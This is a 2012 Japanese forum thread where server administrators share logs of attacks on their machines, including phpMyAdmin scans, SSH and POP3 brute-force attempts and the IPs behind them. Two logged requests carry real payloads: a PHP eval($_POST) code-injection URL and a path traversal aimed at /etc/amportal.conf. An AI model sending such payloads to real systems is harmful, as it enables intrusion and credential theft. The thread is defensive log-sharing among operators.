2012/01/08,09:41:33,"-",GET,"//phpmyadmin1/index.php","","1.1",403,3075,"-","","-"
以下pma関係を主に百数十回 >>119
セキュリティホールを突いてくるなんてどこのどいつだよ、
と思ったらドイツだった。 久しぶりに来た
184.105.65.228 guardlayer.com - 2012-02-24 10:06:04 GET /muieblackcat HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:07 GET //admin/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:07 GET //admin/pma/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:07 GET //admin/phpmyadmin/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:08 GET //db/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:08 GET //dbadmin/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:08 GET //myadmin/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:08 GET //mysql/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:09 GET //mysqladmin/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:09 GET //typo3/phpmyadmin/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:09 GET //phpadmin/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:09 GET //phpMyAdmin/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:10 GET //phpmyadmin/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:10 GET //phpmyadmin1/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:10 GET //phpmyadmin2/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:10 GET //pma/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:11 GET //web/phpMyAdmin/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:11 GET //xampp/phpmyadmin/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:11 GET //web/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:11 GET //php-my-admin/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:12 GET //websql/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:12 GET //phpmyadmin/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:12 GET //phpMyAdmin/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:12 GET //phpMyAdmin-2/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:13 GET //php-my-admin/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:13 GET //phpMyAdmin-2.2.3/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:13 GET //phpMyAdmin-2.2.6/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:13 GET //phpMyAdmin-2.5.1/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:14 GET //phpMyAdmin-2.5.4/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:14 GET //phpMyAdmin-2.5.5-rc1/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:14 GET //phpMyAdmin-2.5.5-rc2/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:14 GET //phpMyAdmin-2.5.5/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:14 GET //phpMyAdmin-2.5.5-pl1/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:15 GET //phpMyAdmin-2.5.6-rc1/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:15 GET //phpMyAdmin-2.5.6-rc2/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:15 GET //phpMyAdmin-2.5.6/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:15 GET //phpMyAdmin-2.5.7/index.php HTTP/1.1 404 385 - -
184.105.65.228 guardlayer.com - 2012-02-24 10:06:16 GET //phpMyAdmin-2.5.7-pl1/index.php HTTP/1.1 404 385 - - >>121
うちでも13時と20時頃に同じのが来てるわ 175.194.234.79 - - [26/Feb/2012:14:10:46 +0900] "R\xb7\x95\xda\x87\x9c\xffX\xa1\xb8\x9d\x04g\x9d\xc0\x9c\x96\xde\x1e\xdd\x18\xf6\\\"\x07\xb1\xed\xcb\xe4\xfbT\xa1\xf3\xe8\x82\x9c\x16@\xfe\x1b\xf3+\xb1" 501 335 "-" "-"
なにこれ怖い
韓国(´・д・`)ヤダ Googleから大量アクセスの一部
検索用botとはまた違うみたいだ
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:41 GET / HTTP/1.0 200 5184 - Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 Nokia5230/12.0.089; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:41 GET / HTTP/1.0 200 5013 - Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.570 Mobile Safari/534.8+
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:41 GET / HTTP/1.0 200 5013 - Blackberry8520/5.0.0.822 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:41 GET / HTTP/1.0 200 5013 - Mozilla/5.0 (Linux; U; Android 2.3.3;en-US;GT-I9000 Build/GINGERBREAD) AppleWebKit/525.10+ (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:41 GET / HTTP/1.0 200 5013 - Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:41 GET / HTTP/1.0 200 5184 - Mozilla/5.0 (Series40; NokiaC3-00/03.35; Profile/MIDP-2.1 Configuration/CLDC-1.1) Gecko/20100401 S40OviBrowser/1.0.0.10.15
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:41 GET / HTTP/1.0 200 5184 - SAMSUNG-GT-C3200/1.0 NetFront/3.5 Profile/M IDP-2.0 Configuration/CLDC-1.1
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:41 GET / HTTP/1.0 200 5184 - Opera/9.50 (J2ME/MIDP; Opera Mini/4.0.8462/8; U; en)
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:41 GET / HTTP/1.0 200 5013 - Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:41 GET / HTTP/1.0 200 5013 - Mozilla/5.0 (Linux; U; Android 2.3.3;en-US;GT-I9000 Build/GINGERBREAD) AppleWebKit/525.10+ (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:41 GET / HTTP/1.0 200 5184 - Nokia6820/2.0 (4.83) Profile/MIDP-1.0 Configuration/CLDC-1.0
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:41 GET / HTTP/1.0 200 5013 - Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:41 GET / HTTP/1.0 200 5013 - Mozilla/5.0 (Linux; U; Android 2.3.3;en-US;GT-I9000 Build/GINGERBREAD) AppleWebKit/525.10+ (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:41 GET / HTTP/1.0 200 5104 - SoftBank/1.0/920SH/SHJ001 Browser/NetFront/3.4 Profile/MIDP-2.0 Configuration/CLDC-1.1
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:41 GET / HTTP/1.0 200 5104 - KDDI-CA3A UP.Browser/6.2.0.13.2 (GUI) MMP/2.0
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:41 GET / HTTP/1.0 200 5104 - DoCoMo/2.0 P906i(c100;TB;W24H15)
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:42 GET / HTTP/1.0 200 5013 - Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.570 Mobile Safari/534.8+
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:42 GET / HTTP/1.0 200 5013 - Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.570 Mobile Safari/534.8+
74.125.56.33 74.125.56.33 - 2012-03-02 11:36:42 GET / HTTP/1.0 200 5184 - Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 Nokia5230/12.0.089; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413 70.62.198.26
rrcs-70-62-198-26.central.biz.rr.com
しつこい 荒らしやめろ
ip:218.218.181.166
host:KYNfb-02p1-166.ppp11.odn.ad.jp
UA:Opera/9.80 (Windows NT 6.0; U; ja) Presto/2.10.229 Version/11.61 >126
国内なら相手ISPにログ付きで苦情を送れ。大抵それで方がつく。 甘いところだと注意しただけで大して変わらないこともあるけどね
厳しいところは一発で回線停止されるけど
odnはどうだったかな… "217.36.211.177""2012-03-23 00:57:42""ETCSERVER01""""""""""AUTH=EFAIL:TYPE=LOGIN""" "0""host217-36-211-177.in-addr.btopenworld.com"
8000行あった。数秒おきに 16時間・・・ 64.27.15.56 アメリカunassigned.calpop.com
メール鯖にアタックしてくる 116.126.87.154 韓国
[Sat May 12 00:47:09 2012] [error] [client 116.126.87.154] Invalid URI in request GET :2086/3rdparty/phpMyAdmin/scripts/setup.php HTTP/1.1
[Sat May 12 00:47:10 2012] [error] [client 116.126.87.154] Invalid URI in request GET :2087/3rdparty/phpMyAdmin/scripts/setup.php HTTP/1.1
[Sat May 12 00:47:10 2012] [error] [client 116.126.87.154] Invalid URI in request GET :81/phpmyadmin/scripts/setup.php HTTP/1.1
他137種類のattack
??? 日本国内からのポートスキャン、クラックツール実行
49.252.168.148
EM49-252-168-148.pool.e-mobile.ne.jp. 217.41.19.142
dovecot: pop3-login: Aborted login (auth failed, 1 attempts): user=<admin>, method=PLAIN, rip=217.41.19.142, lip=xx.xx.xx.xx
dovecot: pop3-login: Aborted login (auth failed, 1 attempts): user=<admin>, method=PLAIN, rip=217.41.19.142, lip=xx.xx.xx.xx
dovecot: pop3-login: Aborted login (auth failed, 1 attempts): user=<admin>, method=PLAIN, rip=217.41.19.142, lip=xx.xx.xx.xx
dovecot: pop3-login: Aborted login (auth failed, 1 attempts): user=<admin>, method=PLAIN, rip=217.41.19.142, lip=xx.xx.xx.xx
dovecot: pop3-login: Aborted login (auth failed, 1 attempts): user=<admin>, method=PLAIN, rip=217.41.19.142, lip=xx.xx.xx.xx
dovecot: pop3-login: Aborted login (auth failed, 1 attempts): user=<admin>, method=PLAIN, rip=217.41.19.142, lip=xx.xx.xx.xx
dovecot: pop3-login: Aborted login (auth failed, 1 attempts): user=<admin>, method=PLAIN, rip=217.41.19.142, lip=xx.xx.xx.xx
dovecot: pop3-login: Aborted login (auth failed, 1 attempts): user=<admin>, method=PLAIN, rip=217.41.19.142, lip=xx.xx.xx.xx
dovecot: pop3-login: Aborted login (auth failed, 1 attempts): user=<admin>, method=PLAIN, rip=217.41.19.142, lip=xx.xx.xx.xx
dovecot: pop3-login: Aborted login (auth failed, 1 attempts): user=<admin>, method=PLAIN, rip=217.41.19.142, lip=xx.xx.xx.xx
dovecot: pop3-login: Aborted login (auth failed, 1 attempts): user=<admin>, method=PLAIN, rip=217.41.19.142, lip=xx.xx.xx.xx
dovecot: pop3-login: Disconnected (no auth attempts): rip=217.41.19.142, lip=xx.xx.xx.xx
dovecot: pop3-login: Aborted login (auth failed, 1 attempts): user=<admin>, method=PLAIN, rip=217.41.19.142, lip=xx.xx.xx.xx
dovecot: pop3-login: Aborted login (auth failed, 1 attempts): user=<admin>, method=PLAIN, rip=217.41.19.142, lip=xx.xx.xx.xx
dovecot: pop3-login: Aborted login (auth failed, 1 attempts): user=<admin>, method=PLAIN, rip=217.41.19.142, lip=xx.xx.xx.xx
dovecot: pop3-login: Aborted login (auth failed, 1 attempts): user=<admin>, method=PLAIN, rip=217.41.19.142, lip=xx.xx.xx.xx
dovecot: pop3-login: Aborted login (auth failed, 1 attempts): user=<admin>, method=PLAIN, rip=217.41.19.142, lip=xx.xx.xx.xx [error] [client 65.74.155.211] File does not exist: /var/www/html/translators.html
[error] [client 65.74.155.211] File does not exist: /var/www/html/phpmyadmin
[error] [client 65.74.155.211] File does not exist: /var/www/html/phpMyAdmin
[error] [client 65.74.155.211] File does not exist: /var/www/html/pma
[error] [client 65.74.155.211] File does not exist: /var/www/html/mysql
日本国内からくる奴は、OCNが多いが理由があるのだろうか? YokozunaNETという謎のISPからDDOS食らった ポート22に侵入しようとしてくる
www23111u.sakura.ne.jp
www3079uh.sakura.ne.jp
www7183ue.sakura.ne.jp
www18135ue.sakura.ne.jp ssh(dd_ssh)攻撃
1.33.202.193
el-labo-s1.el-labo.jp このスレまだあるんだね。
ssh対策なら、denyhosts動かしておけば自動収集してくれるのに。
purge_deny=1yにしておいたら、こんなに収集してくれたよ。
% egrep ^sshd /etc/hosts.deny | wc -l
968
218.67.246.197 [2012.8/07-18:53:47 +0900] "POST /index.php/module/action/param1/$%7B@print(eval($_POST%5Bc%5D))%7D HTTP/1.1" 404 REF:- >>141
こいつ馬鹿だわ
期間も書かずに、こんなにとか言ってるし
夏だねぇ。
purge_deny=1y
の意味ぐらい調べてから書けば良いのに。
そういう意味じゃないと思われ
夏だな、電波野郎しかいないのか 2012/08/21,03:07:39,122.154.101.54,"","-","-",GET,"/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php","module_name=../../../../../../../..//etc/amportal.conf","1.1",403,1041,"-","","-" 1年でpurgeするのだから、1年分の収集だろうが... ヤレヤレ。 203.91.121.70
毎日一万回以上うちのサーバーにssh総当たりしてくる
何か怖い >>148
そう思ってる奴は他にもいる
ttp://ip-address-lookup-v4.com/ip/203.91.121.70